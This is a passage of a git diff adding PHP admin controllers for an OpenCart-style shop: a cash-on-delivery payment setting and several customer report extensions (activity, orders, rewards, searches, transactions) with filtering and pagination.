+ $data['payment_cod_status'] = $this->request->post['payment_cod_status'];
+ } else {
+ $data['payment_cod_status'] = $this->config->get('payment_cod_status');
+ }
+
+ if (isset($this->request->post['payment_cod_sort_order'])) {
+ $data['payment_cod_sort_order'] = $this->request->post['payment_cod_sort_order'];
+ } else {
+ $data['payment_cod_sort_order'] = $this->config->get('payment_cod_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/payment/cod', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/payment/cod')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_activity.php b/public/admin/controller/extension/report/customer_activity.php
new file mode 100644
index 0000000..270e48a
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_activity.php
@@ -0,0 +1,179 @@
+load->language('extension/report/customer_activity');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_activity', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_activity', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_activity', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_activity_status'])) {
+ $data['report_customer_activity_status'] = $this->request->post['report_customer_activity_status'];
+ } else {
+ $data['report_customer_activity_status'] = $this->config->get('report_customer_activity_status');
+ }
+
+ if (isset($this->request->post['report_customer_activity_sort_order'])) {
+ $data['report_customer_activity_sort_order'] = $this->request->post['report_customer_activity_sort_order'];
+ } else {
+ $data['report_customer_activity_sort_order'] = $this->config->get('report_customer_activity_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_activity_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_activity')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_activity');
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+
+ $data['activities'] = array();
+
+ $filter_data = array(
+ 'filter_customer' => $filter_customer,
+ 'filter_ip' => $filter_ip,
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'start' => ($page - 1) * 20,
+ 'limit' => 20
+ );
+
+ $activity_total = $this->model_extension_report_customer->getTotalCustomerActivities($filter_data);
+
+ $results = $this->model_extension_report_customer->getCustomerActivities($filter_data);
+
+ foreach ($results as $result) {
+ $comment = vsprintf($this->language->get('text_activity_' . $result['key']), json_decode($result['data'], true));
+
+ $find = array(
+ 'customer_id=',
+ 'order_id='
+ );
+
+ $replace = array(
+ $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=', true),
+ $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=', true)
+ );
+
+ $data['activities'][] = array(
+ 'comment' => str_replace($find, $replace, $comment),
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $activity_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_activity' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($activity_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($activity_total - $this->config->get('config_limit_admin'))) ? $activity_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $activity_total, ceil($activity_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_ip'] = $filter_ip;
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+
+ return $this->load->view('extension/report/customer_activity_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_order.php b/public/admin/controller/extension/report/customer_order.php
new file mode 100644
index 0000000..4751e3c
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_order.php
@@ -0,0 +1,176 @@
+load->language('extension/report/customer_order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_order', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_order', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_order', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_order_status'])) {
+ $data['report_customer_order_status'] = $this->request->post['report_customer_order_status'];
+ } else {
+ $data['report_customer_order_status'] = $this->config->get('report_customer_order_status');
+ }
+
+ if (isset($this->request->post['report_customer_order_sort_order'])) {
+ $data['report_customer_order_sort_order'] = $this->request->post['report_customer_order_sort_order'];
+ } else {
+ $data['report_customer_order_sort_order'] = $this->config->get('report_customer_order_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_order_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_order')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_order');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $filter_order_status_id = $this->request->get['filter_order_status_id'];
+ } else {
+ $filter_order_status_id = 0;
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_customer' => $filter_customer,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_extension_report_customer->getTotalOrders($filter_data);
+
+ $results = $this->model_extension_report_customer->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['customers'][] = array(
+ 'customer' => $result['customer'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'orders' => $result['orders'],
+ 'products' => $result['products'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_order' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+
+ return $this->load->view('extension/report/customer_order_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_reward.php b/public/admin/controller/extension/report/customer_reward.php
new file mode 100644
index 0000000..fdf9985
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_reward.php
@@ -0,0 +1,160 @@
+load->language('extension/report/customer_reward');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_reward', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_reward', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_reward', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_reward_status'])) {
+ $data['report_customer_reward_status'] = $this->request->post['report_customer_reward_status'];
+ } else {
+ $data['report_customer_reward_status'] = $this->config->get('report_customer_reward_status');
+ }
+
+ if (isset($this->request->post['report_customer_reward_sort_order'])) {
+ $data['report_customer_reward_sort_order'] = $this->request->post['report_customer_reward_sort_order'];
+ } else {
+ $data['report_customer_reward_sort_order'] = $this->config->get('report_customer_reward_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_reward_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_reward')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_reward');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_customer' => $filter_customer,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_extension_report_customer->getTotalRewardPoints($filter_data);
+
+ $results = $this->model_extension_report_customer->getRewardPoints($filter_data);
+
+ foreach ($results as $result) {
+ $data['customers'][] = array(
+ 'customer' => $result['customer'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'points' => $result['points'],
+ 'orders' => $result['orders'],
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_reward' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_customer'] = $filter_customer;
+
+ return $this->load->view('extension/report/customer_reward_info', $data);
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/report/customer_search.php b/public/admin/controller/extension/report/customer_search.php
new file mode 100644
index 0000000..89f33d8
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_search.php
@@ -0,0 +1,197 @@
+load->language('extension/report/customer_search');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_search', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_search', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_search', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_search_status'])) {
+ $data['report_customer_search_status'] = $this->request->post['report_customer_search_status'];
+ } else {
+ $data['report_customer_search_status'] = $this->config->get('report_customer_search_status');
+ }
+
+ if (isset($this->request->post['report_customer_search_sort_order'])) {
+ $data['report_customer_search_sort_order'] = $this->request->post['report_customer_search_sort_order'];
+ } else {
+ $data['report_customer_search_sort_order'] = $this->config->get('report_customer_search_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_search_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_search')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_search');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $filter_keyword = $this->request->get['filter_keyword'];
+ } else {
+ $filter_keyword = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer');
+ $this->load->model('catalog/category');
+
+ $data['searches'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_keyword' => $filter_keyword,
+ 'filter_customer' => $filter_customer,
+ 'filter_ip' => $filter_ip,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $search_total = $this->model_extension_report_customer->getTotalCustomerSearches($filter_data);
+
+ $results = $this->model_extension_report_customer->getCustomerSearches($filter_data);
+
+ foreach ($results as $result) {
+ $category_info = $this->model_catalog_category->getCategory($result['category_id']);
+
+ if ($category_info) {
+ $category = ($category_info['path']) ? $category_info['path'] . ' > ' . $category_info['name'] : $category_info['name'];
+ } else {
+ $category = '';
+ }
+
+ if ($result['customer_id'] > 0) {
+ $customer = sprintf($this->language->get('text_customer'), $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true), $result['customer']);
+ } else {
+ $customer = $this->language->get('text_guest');
+ }
+
+ $data['searches'][] = array(
+ 'keyword' => $result['keyword'],
+ 'products' => $result['products'],
+ 'category' => $category,
+ 'customer' => $customer,
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('datetime_format'), strtotime($result['date_added']))
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_keyword'])) {
+ $url .= '&filter_keyword=' . urlencode($this->request->get['filter_keyword']);
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $search_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_search' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($search_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($search_total - $this->config->get('config_limit_admin'))) ? $search_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $search_total, ceil($search_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_date_start'] = $filter_date_start;
+ $data['filter_date_end'] = $filter_date_end;
+ $data['filter_keyword'] = $filter_keyword;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_ip'] = $filter_ip;
+
+ return $this->load->view('extension/report/customer_search_info', $data);
+ }
+}
diff --git a/public/admin/controller/extension/report/customer_transaction.php b/public/admin/controller/extension/report/customer_transaction.php
new file mode 100644
index 0000000..09b476c
--- /dev/null
+++ b/public/admin/controller/extension/report/customer_transaction.php
@@ -0,0 +1,158 @@
+load->language('extension/report/customer_transaction');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('report_customer_transaction', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/report/customer_transaction', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/report/customer_transaction', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=report', true);
+
+ if (isset($this->request->post['report_customer_transaction_status'])) {
+ $data['report_customer_transaction_status'] = $this->request->post['report_customer_transaction_status'];
+ } else {
+ $data['report_customer_transaction_status'] = $this->config->get('report_customer_transaction_status');
+ }
+
+ if (isset($this->request->post['report_customer_transaction_sort_order'])) {
+ $data['report_customer_transaction_sort_order'] = $this->request->post['report_customer_transaction_sort_order'];
+ } else {
+ $data['report_customer_transaction_sort_order'] = $this->config->get('report_customer_transaction_sort_order');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/report/customer_transaction_form', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/report/customer_transaction')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function report() {
+ $this->load->language('extension/report/customer_transaction');
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $filter_date_start = $this->request->get['filter_date_start'];
+ } else {
+ $filter_date_start = '';
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $filter_date_end = $this->request->get['filter_date_end'];
+ } else {
+ $filter_date_end = '';
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $filter_customer = $this->request->get['filter_customer'];
+ } else {
+ $filter_customer = '';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $this->load->model('extension/report/customer_transaction');
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_date_start' => $filter_date_start,
+ 'filter_date_end' => $filter_date_end,
+ 'filter_customer' => $filter_customer,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_extension_report_customer_transaction->getTotalTransactions($filter_data);
+
+ $results = $this->model_extension_report_customer_transaction->getTransactions($filter_data);
+
+ foreach ($results as $result) {
+ $data['customers'][] = array(
+ 'customer' => $result['customer'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'total' => $this->currency->format($result['total'], $this->config->get('config_currency')),
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'], true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $url = '';
+
+ if (isset($this->request->get['filter_date_start'])) {
+ $url .= '&filter_date_start=' . $this->request->get['filter_date_start'];
+ }
+
+ if (isset($this->request->get['filter_date_end'])) {
+ $url .= '&filter_date_end=' . $this->request->get['filter_date_end'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode($this->request->get['filter_customer']);
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('report/report', 'user_token=' . $this->session->data['user_token'] . '&code=customer_transaction' . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
